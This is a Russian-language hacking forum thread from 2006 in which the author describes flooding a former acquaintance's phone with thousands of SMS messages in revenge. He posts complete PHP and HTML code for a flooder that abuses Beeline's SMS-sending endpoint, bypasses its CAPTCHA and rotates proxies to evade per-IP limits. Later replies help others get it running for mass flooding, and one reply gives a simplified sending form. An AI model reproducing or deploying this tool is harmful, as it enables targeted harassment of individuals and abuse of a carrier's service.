Статьи Как я зафлудил билайн

Discussion in 'Статьи' started by sb2k, 10 Oct 2006.

  1. sb2k

    sb2k Banned

    Joined:
    30 Apr 2005
    Messages:
    0
    Likes Received:
    13
    Reputations:
    4
    Однажды мой знакомый киданул меня на 300$. Я довольно не плохо знал этого человека. Знал его имя, город в котором он живёт и номер его мобильника. Конечно ехать и убивать его за 9 тысячь рублей я не стал =) Но зато решил поглумиться и зафлудить его мобилу смсками. Все наверное знают, что с сайтов операторов можно отправлять смс сообщения - этим я и решил воспользоваться. Через минуту я узнал, что оператор кидалы довольно популярный билайн, который я и сам юзаю =). Потопал я на сайт билайна и нашел там форму отправки смс. И тут облом. Картинка защиты. Обойти методом подмены её не получилось, а о расспознание я и не думал, уж очень навороченая картинка для меня. Тогда я начал тупо ходить по сайту билайна, с каждой секундой всё сильнее признавая своё поражение. Тут я наткнулся на прогу, с помощью, которой как увиряют разработчики можно отсылать смс сообщения прямо с домашнего компьютера. Интересно, надо скачать подумал я. Скачал-поставил. Ага, работает. Ну и?! И тут я вдруг понял, что в этой программе нет никаких картинок защиты, в отличие от формы на сайте. Ну и раз программа отправляет смс сообщения без ввода кодов на картинке защиты значет и я могу. Я проснифил весь исходящий трафик от этой проги netsnifer'ом и увидел обычные http запросы. Через минуту был написан простенкий скрипт для флуда моего недруга. А еще через мгновение его телефон был закидан тысячями сообщений. Такая вот веселая история, не дай Бог никому =).
    Ах да, сам код флудера. Чуть не забыл =)

    INDEX.HTML :
    Code:
    <html>
    <center>
    <form name="tele2" action="send.php" method="POST">
    <h3>Phone</h3><br>
    <input name="phone" value="" type="text" size="14" maxlength="12"><br>
    <h3>Count of messages</h3><br>
    <input name="count" value="10" type="text" size="14" maxlength="12"><br>
    <h3>Message text</h3><br>
    <textarea name="message" rows="5" cols="40"></textarea><br>
    <input name="submit" type="submit" value="Start spam">
    </center>
    </html>
    Code:
    <?
    ini_set("error_log",'errors.txt');
    ini_set("log_errors",'1');
    
    echo '<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">';
    set_time_limit(0);
    $log=fopen("log.txt","w+");
    $proxy="";
    $proxycount=0;
    $proxyf=file("proxy.txt");
    
    function setproxy(){
    global $proxy;
    global $proxycount;
    global $proxyf;
    if (count($proxyf)==0) die;
    if ($proxycount==count($proxyf))
      {
       {$proxy=$proxyf[0];$proxycount=0;exit;}
      }
    $proxy=trim($proxyf[$proxycount]);
    $proxycount=$proxycount+1;
    printandlog("Set proxy - ".$proxy);
    }
    
    function printandlog($text){
    global $log;
    fputs($log,$text."\r\n");
    echo $text.'<br>';
    flush();
    }
    
    function send($num,$message){
      global $proxy;
       //$message=urlencode($message);
      $cr=curl_init("http://www.beonline.ru/servlet/send/sms/");
      curl_setopt($cr, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
      curl_setopt($cr, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
      curl_setopt($cr, CURLOPT_TIMEOUT, 20);
      curl_setopt($cr, CURLOPT_HEADER, 1);
      curl_setopt($cr, CURLOPT_POSTFIELDS, "phone=".$num."&number_sms=number_sms_send&prf=7909&termtype=G&message=".$message."&translit=&x=5&y=4");
      curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($cr, CURLOPT_REFERER, "http://BeeOnLine-Express");
      curl_setopt($cr,CURLOPT_PROXY,$proxy);
      $r = curl_exec($cr);
      if (curl_error($cr))
        {
         return 'connection_error';
         curl_close($cr);
         exit;
        }
      curl_close($cr);
    echo $r;
    if (StrPos($r,"с данного IP-адреса")<>false) return "notsend";else
    return "send";
    }
    
    if (!isset($_POST["phone"])) die;
    if (!isset($_POST["count"])) die;
    if (!isset($_POST["message"])) die;
    printandlog("Spam start");
    printandlog("Found ".count($proxyf)." proxy");
    for ($i=1;$i<=$_POST["count"];$i++)
    {
      while(1==1)
        {
          $tem=send(trim($_POST["phone"]),$message);
          if ($tem<>"send") setproxy(); else break;
        }
      printandlog($i." - Send");
    }
    printandlog("All message send ok");
    ?>
    Кому надо разберётся, что тут да как ;)
     
    11 people like this.
  2. -FARAON2005RAMSES-

    -FARAON2005RAMSES- Elder - Старейшина

    Joined:
    6 Oct 2006
    Messages:
    37
    Likes Received:
    12
    Reputations:
    -7
    Чувак, а как насчёт того что там такая хрень - типа всего 12 СМС с одного IP в день!
    Ты что и это тоже обошёл? Ты не гонишь? У меня на сайте такая форма есть http://faraon2005ramses.narod.ru/sms.html
    Это та же система как на сайте билайна, только без всяких "введите число на картинке"
    Что на это скажешь?
     
  3. sb2k

    sb2k Banned

    Joined:
    30 Apr 2005
    Messages:
    0
    Likes Received:
    13
    Reputations:
    4
    Глянул на твою форму :
    "Внимание!!! Количество отправляемых сообщений с одного Ip-адреса в сутки ограничено.". В моём примере юзаются прокси и это тоже обходится...
     
    1 person likes this.
  4. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Кто нить поставил себе? Если да то дайде пожалуйста ссылку.
     
    3 people like this.
  5. DRON-ANARCHY

    DRON-ANARCHY Отец порядка

    Joined:
    4 Mar 2005
    Messages:
    713
    Likes Received:
    142
    Reputations:
    50
    ага. чтоб ты запользовал, а чела потом завалили?
    тебе дали код-пользуй

    ====

    ps подпись у тебя лажовая
     
    1 person likes this.
  6. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Вот моя ссылка тока че-то это фигня нифига непашет.
    у меня 8000 прокси.
     
    #6 cardons, 16 Oct 2006
    Last edited: 18 Apr 2008
    3 people like this.
  7. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Может кто нить скажет почему непашет?
     
    1 person likes this.
  8. Talisman

    Talisman Elder - Старейшина

    Joined:
    22 Apr 2006
    Messages:
    400
    Likes Received:
    151
    Reputations:
    80
    на бесплатном ХОЛМовском хостинге (h**) залочены внешние запросы в пшп - вот скрипт и не пашет
     
  9. И.Г.

    И.Г. Elder - Старейшина

    Joined:
    29 Aug 2006
    Messages:
    336
    Likes Received:
    343
    Reputations:
    111
    Юзай мозги и платный хостинг.... У меня работает (с доработкой небольшой)
     
  10. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Я непойму в каком формате туда вбивать номер для отправки.
     
  11. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    79031234567
     
  12. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Странно я у себя поместил.Но нифига неприсылаеться.
     
  13. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Попробуй просто такую форму заполни:

    Code:
    <center>
    <h2>BeeLine SMS Send</h2>
    <form action='http://www.beonline.ru/servlet/send/sms/' method='post'>
    Phone: <small>(in format 79031234567)</small> <input type='text' maxlength=11 name='phone' /><br />
    <input type='hidden' name='number_sms' value='number_sms_send' />
    <input type='hidden' name='prf' value='7909' />
    <input type='hidden' name='termtype' value='G' />
    <textarea name='message' rows=10 cols=55></textarea><br />
    <input type='hidden' name='translit' value='' />
    <input type='hidden' name='x' value='5' />
    <input type='hidden' name='y' value='4' />
    <input type='submit' value='Send' />
    </form>
    </center>
    Мне пришло
     
  14. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Да эту форму я знаю.Мне надо чтобы для массофого флуда а не для того чтобы 1 сообщение приходило.
     
  15. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Ну это ясно.
    я просто для проверки предложил
     
  16. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Не проверка это ясно, но мне надо для флуда.
     
  17. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Странно у меня нифига неотсылает.
     
  18. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Да пробовал пишет что отправил а сам нече неотправляет.
     
  19. dinar_007

    dinar_007 Мадемуазель

    Joined:
    18 Jan 2005
    Messages:
    1,019
    Likes Received:
    770
    Reputations:
    97
    А инет крэком получится флудить? :)
     
  20. Кэйн

    Кэйн Banned

    Joined:
    30 Oct 2006
    Messages:
    33
    Likes Received:
    7
    Reputations:
    3
    Я вот сюда залил
    http://www.kein2006.jino-net.ru/blank.html
    Счас проверять буду :)
     
    1 person likes this.